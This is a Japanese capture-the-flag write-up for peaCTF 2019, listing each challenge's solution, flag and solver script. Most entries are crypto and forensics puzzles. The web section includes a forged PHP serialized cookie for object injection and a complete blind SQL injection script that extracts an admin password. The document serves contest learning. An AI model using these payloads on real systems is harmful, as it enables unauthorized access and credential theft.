僕はチームKogCoderとして参加し、チームで4600点獲得しました。
あと1問で全完でした。
Breakfast - 50 - Cryptography
- bacon という暗号らしい
- peactf{eggwaffles}
-
Code
#!python import sys t = '01110001000000000010100100010100100001100011010100000000010100101010100010010001' for i in [x for x in range(76) if x % 5 == 0]: if (i == 30): sys.stdout.write('{') b = int(t[i:i+5], 2) if b >= 0b10011: b += 1 if b >= 0b01000: b += 1 sys.stdout.write(chr(b + 0x61)) sys.stdout.write('}\n')
Broken Keyboard - 50 - Cryptography
- 10進数 → ASCII でおわり
- peaCTF{4sc11isc00l}
-
Code
#!/usr/bin/python import sys t = open('enc.txt', 'r').read().split() for i in t: sys.stdout.write(chr(int(i)))
Worth - 50 - General Skills
- 8進数を10進表記に直すだけ
- 0o450 → 296
- flag{peactf_296}
Hide and Seek - 100 - General Skills
- Shell の /problems/hide-and-seek_38_e7f484878c606595a77a81912082a3ec のどこかの下にflagがある
- findでファイルを探せばflagというファイルがあった…気がする(うろおぼえ)
School - 100 - Cryptography
- 換字式暗号
- 懇切丁寧に変換表までついてる
- あとは解くだけ
- peaCTF{orangejuice}
-
Code
#!python import sys table = { 'W': 'A', 'C': 'B', 'G': 'C', 'P': 'D', 'S': 'E', 'U': 'F', 'H': 'G', 'R': 'H', 'A': 'I', 'Q': 'J', 'Y': 'K', 'K': 'L', 'F': 'M', 'D': 'N', 'L': 'O', 'Z': 'P', 'O': 'Q', 'J': 'R', 'N': 'S', 'X': 'T', 'M': 'U', 'V': 'V', 'E': 'W', 'B': 'X', 'T': 'Y', 'I': 'G' } t = "zswGXU{ljwdhsqmags}" for i in t: if ord(i) >= ord('{'): sys.stdout.write(i) elif ord(i) >= 0x61: sys.stdout.write(chr(ord(table[chr(ord(i) - 0x20)]) + 0x20)) else: sys.stdout.write(table[i])
Choose your Pokemon - 150 - Foresics
- master-ball というファイルが渡される
- file いわくrarなので展開
- roshambo というファイルが出てくる
- file いわくzipなので展開
- inDesign というファイルが出てくる
- file いわくpdfなので開く
- https://pastebin.com/AWTDEb9j へのリンクが書いてある
- 保存して file するとrtfらしいので開く
- {wild_type}
Coffee Time - 250 - Reversing
- coffeetime.jar をunzipして出たclassファイルをjadに掛けるとflagが平文で書いてある
- peaCTF{nice_cup_of_coffee}
- Reverse問がこれしかなくてかなしかった
We are E.xtr - 350 - Foresics
- マジックが不正なpng
- 直して開く
- {read_banned_it}
Crack the Key - 450 - Cryptography
- ビジュネル暗号
- カシスキーテストで解ける
- ここ でカシスキーテストをやってくれる
- peaCTF{redpineapples}
- このへんからやりがいが増した
RSA - 500 - Cryptography
- 開催中に解けなかった唯一の問題
- 終わった後にわりとすぐ解けたので悔やしい
- Authenticated Channel, Encrypted Channel の2つが渡される
- Encrypted Channel は factordb にNを投げればp,qが求まるので、dを求めて復号すればOK
- peaCTF{f4ct0r
- Authenticated Channel は署名の要領で c^e mod n でOK
- 1ng1sfun}
- 出てきた2つの文字列を繋げる
- peaCTF{f4ct0r1ng1sfun}
-
Code
#!/usr/bin/env python3 from Crypto.PublicKey import RSA from Crypto.Util.number import inverse from Crypto.Util.number import GCD from Crypto.Util.number import long_to_bytes N1 = 165481207658568424313022356820498512502867488746572300093793 E = 65537 C1 = 150635433712900935381157860417761227624682377134647578768653 N2 = 59883006898206291499785811163190956754007806709157091648869 C2 = 23731413167627600089782741107678182917228038671345300608183 p = 404796306518120759733507156677 q = 408801179738927870766525808109 d = inverse(E, (p-1)*(q-1)) key = RSA.construct(map(int, (N1, E, d))) print(long_to_bytes(key.decrypt(C1)) + long_to_bytes(pow(C2, E) % N2))
Educated Guess - 600 - Web Exploition
$user = unserialize($_COOKIE['user']);
で露骨にオブジェクトインジェクションできると書いてあるので、クラス名とis_adminの仕様のGuessするO:4:"User":1:{s:5:"admin";b:1;}
をURLエンコードしたものをCookieのuserに登録してアクセスしたらflagゲット- flag{peactf_follow_conventions_3bde1843fbe72e198d2122d1bfab1faf}
The Wonderful Wizard - 750 - Foresics
- 赤のLSBを抽出した画像にASCIIコードが書いてある
- flag{peactf_where_the_wind_blows}
- 得点のわりにすごい簡単だった
Song of My People - 800 - Foresics
- 渡されたzipファイルにはパスワードがかかっているが、JohnTheRipperの標準辞書で解析できる
- パスワード:violin で展開すると
- a lengthy issue.png
- Ice Cube - Check Yo Self Remix (Clean).mp3
- README.txt
の3つが出てくる
- READMEいわく
one of the three files is a red herring
(3つのうち1つはレッド・ヘリング[人の注意を他にそらすもの]) - らしいので、普通に再生できたmp3はほっといて、開けなかったpngを調べた
- pngのヘッダから8bitカラーの1280*720の画像であることが判ったので、zlib圧縮された画像データ部分のみを抽出して展開し、bmpのヘッダを付与して読む(想定解はpngのヘッダのchecksumの修復だったらしい)
- https://soundcloud.com/lil-redacted/live-concert-audio のリンクとflagの形式、そして意味ありげな数字の羅列が書いてある
- 数字の羅列はASCIIに直すとこうなる
The Library of Babel:
(with new addition of all the possible diss tracks to ever be made and ever could be made) - soundcloud の音楽はモールス信号っぽかったので、ここ で解読した
- 解読結果
LIL ICE CUBE MELTING OUT HERE IN THE HAWAII HEAT FOR ALL OF YOU. YOU GUESSED IT THIS IS LIVE AUDIO FROM MY WORLD TOUR. I REPEAT LIL ICE CUBES WORLD TOUR MAYBE A LIBRARY WILL HELP
- soundcloud の説明文と数字の羅列いわく、repeat と maybe の間 "ice cubes world tour"が 371ページに書いてある本をLibrary of Babel から探してくらばいいらしい。
- flagはその本の1番スペースが多かったページの番号とスペースの個数が分かれば分かるので、調べてみると371ページ目の3180個が最多だと分かる
- {3_thousand_of_spaces_371}
- とてもながかったけど、いちばんおもしろかったです(小並感)
Philips And Over - 900 - Web Exploition
- ほぼksnctfのq6です
- LoginのところはSQL Injectionの対策がされてる
- ところが、Forgot Your PasswordのUsernameからBlind SQL Injectionができる
- lengthでパスワード長取得→substrで1字ずつ探索 の流れでadminのパスワードをゲトォできる
- 取得したパスワードで普通にログインすればflag
-
Code
#!/usr/bin/env python import requests target = "http://shell1.2019.peactf.com:25809/result.php" payload = { 'username': "' OR (SELECT length(password) FROM users WHERE username='admin')=0", 'answer': "aaaa" } suc_txt = 'Your answer to the security question is not correct.' def passLen(): for i in range(1, 100): payload['username'] = "' OR (SELECT length(password) FROM users WHERE username='admin')=%d --" % i r = requests.post(target, data=payload) if r.text.find(suc_txt) != -1: pwd_len = i break return pwd_len def main(): pwd_len = passLen() print("len = %d" % pwd_len) pwd = "" while pwd_len > len(pwd): for c in [chr(x) for x in range(0x21, 0x41)] + [chr(x) for x in range(0x41, 0x5b)] + [chr(x) for x in range(0x61, 0x7b)]: #print(c) payload['username'] = "' OR SUBSTR((SELECT password FROM users WHERE username='admin'), 1, %d)='%s' --" % (len(pwd) + 1, pwd + c) r = requests.post(target, data=payload) if r.text.find(suc_txt) != -1: pwd += c i += 1 print('find %d : %s' % (len(pwd), c)) break print('pass : ' + pwd) return if __name__ == "__main__": main()
小学生並みの感想
- かんたんなもんだいがおおいので、CTFのにゅうもんにぴったりだとおもいました
- もうすこしでぜんかんだったのでくやしいです